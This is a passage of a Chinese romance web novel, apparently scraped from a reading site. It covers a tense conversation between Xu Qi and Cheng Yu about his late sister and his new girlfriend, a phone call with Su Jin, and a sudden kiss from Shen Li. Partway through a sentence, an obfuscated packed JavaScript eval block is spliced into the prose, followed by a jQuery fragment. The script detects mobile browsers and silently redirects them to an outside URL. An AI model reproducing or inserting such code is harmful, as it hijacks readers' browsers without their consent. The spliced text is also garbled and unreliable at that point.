包厢里的烟味有些呛人,灯光昏黄,程宇坐在角落里,烟灰缸里已经摁灭了几根烟。
许栖推门进来,他抬眼看了一下她,没什么表情,神色淡淡的:“好久不见。”
许栖走进来,随手关上门,目光扫过桌上的烟灰,最后落在他指尖的香烟上,声音不轻不重:“好久不见。”
她顿了顿,问:“苏瑾呢?”
程宇把烟摁灭,随口道:“回去了。”
许栖微微皱眉:“你就让她一个人回?”
程宇靠在椅背上,语气淡漠:“成年人了,打了车,为什么不能一个人回?”
“她知道你留下来见我吗?”
程宇微微侧目,眼神沉着:“不知道。”
空气安静下来。
许栖走到程宇对面坐下,目光里含着审视:“你为什么要和苏瑾谈恋爱?”
程宇揉搓着手指,语气似笑非笑:“喜欢了就谈呗,哪有那么多理由?”
许栖没说话,只是静静看着他。
程宇语气里透着几分无奈:“我事先也不知道,她是你的朋友。”
“我没有反对的意思。”许栖说,“只是有些意外。你这么多年一直孤身一人,忽然就谈起恋爱了,而且,对方正巧就是苏瑾?”
程宇看着她,眼神沉了几分,半晌才低声笑了下:“我也想走出来,过上正常人的生活。”
他嗓音平静,却带着一丝嘲弄,“许栖,我比你痛一万倍。”
许栖神色不变,指尖微微收紧。
程宇抬手按了按眉心,被她盯得有些烦,忽然开口:“别只问我,你自己呢?”
许栖目光顿了顿:“什么意思?”
程宇盯着她,语气低沉:“你为什么还和陈驰纠缠?”
包厢里一瞬间安静下来。
许栖神色未变,语调平稳:“这是我自己的事。”
程宇皱眉,声音里带上了几分刻薄:“你还真打算和他结婚?他是陈正德的儿子,你这样对得起她?”
空气仿佛被拉紧,许栖没说话,指尖在桌沿轻轻摩挲。
程宇盯着她:“许栖,你到底在想什么?”
良久,许栖才开口,声音冷静:“首先,我没有打算和他结婚。其次,他是他,陈正德是陈正德。我希望你不要混为一谈。”
程宇嗤笑一声:“你还真能分得清?”
许栖没有回应,而是微微偏头,看向他:“倒是你,和苏瑾谈恋爱,真不是为了……接近陈驰?”
程宇闻言,似是意外,他微微眯起眼睛,仔细看着她,片刻后才缓缓道:“看来你是真的在乎他。”
他的语气里带着点意味深长:“只是许栖,我犯得着兜这么大一个圈子吗?我要接近陈驰,直接找他不好吗?苏瑾和他又能有什么关系?”
他顿了一下,声音更嘲弄了几分:“你甚至不如觉得,我和苏瑾在一起,是为了接近你。”
许栖对上他的目光,片刻后,轻声道:“看来是我想多了。”
程宇没说话,指尖碾了碾桌上的烟灰,似乎觉得这个话题没什么意思。
半晌,许栖才犹豫着问道:“你过得好吗?如果需要帮助……”
“不需要!”程宇激烈地打断她,又缓和下语气:“还是老样子呗,死气沉沉。”他说完,看了她一眼,似乎觉得这样的话太消极,又随意补了一句,“不过爱情给我添了点活力。”
许栖下意识点头:“好好对苏瑾,否则——”
程宇不耐烦:“否则怎么样,你要为她出头?”他微微侧头,定定看着她,嗓音沙哑:“你当初也是这么守护她的吗?”
许栖沉默。
气氛无端的压抑。
程宇轻嗤一声,似是自嘲,又似是无奈:“你是不是已经忘了她?”
许栖的目光微微一动,轻声道:“你觉得呢?程枂是我最好的朋友。”
程宇盯着她,眼底情绪复杂,许久才低声道:“那就好,我真怕,这世上只有我一个人还记得她。”
包厢里的灯光昏黄,映得桌面上一片模糊。烟味混着淡淡的酒气,积聚在空气里,令人有些喘不过气来。
许栖静静地坐着,没有说话。
程宇靠在椅背上,又点燃了一根烟。
烟雾在他的指尖升起又散开,他语气淡淡的,像是在随意感慨,又像是在掩饰某些情绪:“有时候我在想,如果她还在,会是什么样?”
许栖指尖微微一顿,眼睫轻颤,目光落在桌面,没有接话。
程宇嗤笑了一声,目光幽沉,像是在回忆:“大概还是老样子吧,叽叽喳喳地缠着你,让你陪她逛漫展,买一堆洛丽塔、JK制服、汉服襦裙。或者半夜突然给我打电话,哭着说完不成你的任务,要被你骂了,让我帮她撑腰。”
许栖握紧了手指,嗓音低下来:“我没骂过她。”
程宇侧头看她一眼,唇角勾着一抹淡淡的笑意:“她是这么说的。”
许栖没有再反驳,沉默着,目光微敛。
程枂喜欢撒娇,喜欢热闹,喜欢赖着身边的人不肯走。她们第一次见面,是在一个夏天的漫展上。程枂穿着繁复的公主裙,蹲在角落里和工作人员据理力争,说自己的道具剑绝对不是管制刀具。许栖当时只是作为游客路过,没忍住多看了两眼。
“你看什么?”程枂仰头看她,气呼呼的,眼睛亮晶晶的,“你是不是也觉得我像个神经病?”
许栖愣了一下,片刻后,说:“没有。”
后来,程枂带她入行。
她睁大眼睛,惊讶地对许栖道:“高材生也缺钱啊?”
那时候,她们一起做兼职模特,一起化妆换衣服,一起在后台手忙脚乱地调整假发。程枂性格开朗,笑声爽朗,总喜欢和别人分享零食,也爱缠着许栖去漫展闲逛。
她一边感慨:“我要是有钱,一定把所有限定周边都买了。”一边又眼巴巴地看着许栖:“许栖,你以后毕业找到好工作挣大钱了,一定要包养我。”
程枂一直觉得许栖,比她那位重本大学生的亲哥程宇还厉害,是顶尖学府的高材生,未来一定能混得风生水起。而她自己不过是个普通职校生,所以两人一起混圈时,她总习惯护着许栖,逢场面应酬时挡在前面,把那些不怀好意的目光拦下来。
有人找茬,她笑着把话圆回去;有人劝酒,她直接抢过杯子,理直气壮地说:“我家许栖是A大生,脑子比你们这些人值钱,喝多了影响学业,你们赔得起吗?”
她总是毫不犹豫地站在许栖身前,语气轻快又认真:“栖宝别怕,姐们罩着你!”
……可现在呢?
她不在了。
世界照常运转,时光冷漠地向前流逝,所有人都还在,只有程枂,永远留在了那个冬天。
许栖低下头,声音轻轻的:“她一直都在。”
程宇看着她,沉默了一瞬,没有再继续这个话题。他转了转手里的烟,语气不轻不重:“许栖,苏瑾挺好的。”
许栖抬眸,看向他。
程宇靠回椅背,目光晦暗不明:“她是你的朋友,我会好好对她。你就别担心了。”
许栖皱了皱眉,沉默几秒,最终还是收回目光,轻声道:“那就好。”
这一次,代驾是真的到了。许栖拿起包,起身告辞。
走到门口时,程宇忽然开口:“你真的能接受,和陈正德的儿子在一起吗?”
许栖脚步微顿,语气平静:“我希望你能分清。”
程宇盯着她,眼神深了几分,嗓音低哑:“我能分清。我是说,抛开你和陈驰的私人关系,你真的能接受和陈正德的儿子在一起吗?还是说,恰恰是因为是陈正德的儿子,有钱有地位,你才更加选择和他在一起?”
许栖眉心微蹙:“我不明白你想表达什么。”
程宇轻嗤了一声,似乎觉得没意思,指尖掸了掸烟灰,没再继续这个话题。
-
隔壁包厢的灯也熄了,陈驰已经离开。
松云亭外的风有些冷,夜色深沉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119133|163594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
街道两旁的灯光映着斑驳的树影,投下一片暗淡的光晕。
许栖的车停在稍远处,代驾已经等在那里。她快步走过去,拉开车门坐进去,沉思了片刻,最终还是拨通了苏瑾的电话。
“喂,苏苏。”
电话那头传来苏瑾带着困意的声音:“嗯?”
“你睡了?”
“没,刚躺下。”苏瑾揉了揉眼睛,声音有些模糊,“你和程宇聊过了?”
许栖顿了顿:“你知道?”
苏瑾似乎翻了个身,语调带着点慵懒:“他刚才告诉我了。没想到,他就是程枂的哥哥。”
许栖指尖摩挲着手拎包的带子,语气温和却认真:“你是怎么想的?程宇……他背负着很多,很沉重的。”
电话那头安静了一瞬。
然后,苏瑾低低地笑了一声,语气轻飘飘的:“许律师,您这话问得,倒像是我妈。”
许栖被她的调侃怔了一下,随即轻笑:“我是认真问的。”
“我知道啊。”苏瑾的声音漫不经心,“但你别忘了,我又不是你,我不认识程枂,对程宇也就没有那么多的纠结。喜欢就是喜欢,能在一起就试试,不能就算了。”
许栖微微一顿:“是我想岔了。”
“好啦,栖栖,别替我操心了。”苏瑾懒懒地伸了个懒腰,语气忽然轻快起来,“与其操心我,不如关心一下你自己吧。沈栎和陈驰,你总得选一个吧?要是都不选,也可以试试新人啊。你都空窗期好久了,谈起来啊,恋爱可是女人最好的补品。”
许栖失笑,原本沉郁的心情被她的话缓缓化开,眼底也透出几分轻松的意味。
她轻轻扬眉,嗓音带着些许无奈:“你倒是说得轻巧。”
窗外的夜风依旧轻轻拂过,吹得人懒洋洋的。挂完电话,许栖靠在座椅上,目光落在前方,嘴角微微上扬,终于卸下了些许压在心头的沉闷。
夜色深沉,小区门口的路灯投下朦胧的暖黄色光晕。
代驾刚离开,许栖坐在副驾位置,伸手打开车门,准备换到主驾自己开车进小区。她刚准备抬脚,视线却捕捉到一道熟悉的身影。
主驾的车门被人拉开,沈栎径直坐了进来。
他单手搭上方向盘,动作一如既往地沉稳,甚至没有一个多余的眼神,好像这一切本该如此。
许栖被吓了一跳,她微微皱眉:“你怎么在这里?”
沈栎没有回答,目光落在她身上,幽深不见底,像是在等待她继续问下去,又像是根本懒得解释。
车厢里的空气静滞了几秒,许栖还没来得及反应,下一瞬,沈栎已经俯身逼近。
与陈驰不同,他没有预兆,也没有征询。
温热的气息倏然笼罩,许栖甚至还没来得及眨眼,男人的唇便精准地覆了下来。
不容拒绝,甚至不留她后退的余地。
沈栎的掌心顺势覆上她的手,像是在无声地钳制她的动作。他的吻并不凌乱,甚至称得上克制,但正是这种克制,才叫人更难抗衡。
他并没有急于深入,没有蛮横的攻城掠地,而是极尽克制地用唇瓣轻磨,带着不动声色的缠绵,引诱般的试探,温柔得近乎缱绻。却像是在诱哄,又像是在变相地逼问。
——为什么不回消息?
——为什么要把他推给其他人?
——究竟还喜不喜欢他?
男人的呼吸有些沉,带着淡淡的雪松与消毒水的气息,熟悉得让许栖指尖发颤。
唇齿交叠间,他微微偏头,拉近角度,指尖顺势滑至她的腰际,掌心覆上她的侧腰,带着极低的温度,却仿佛烫得她神经紧绷。
心跳失序,呼吸紊乱。
许栖的手缓缓收紧,指甲不自觉地扣住座椅边缘。她的大脑像是突然被断电了一瞬,所有理智的逻辑,全都被这个突然袭击的吻,搞得倏然崩塌。
不知过了多久,沈栎才缓缓松开她。
他额头轻轻抵着她的,气息微喘,嗓音低哑:“你喝酒了,许栖。”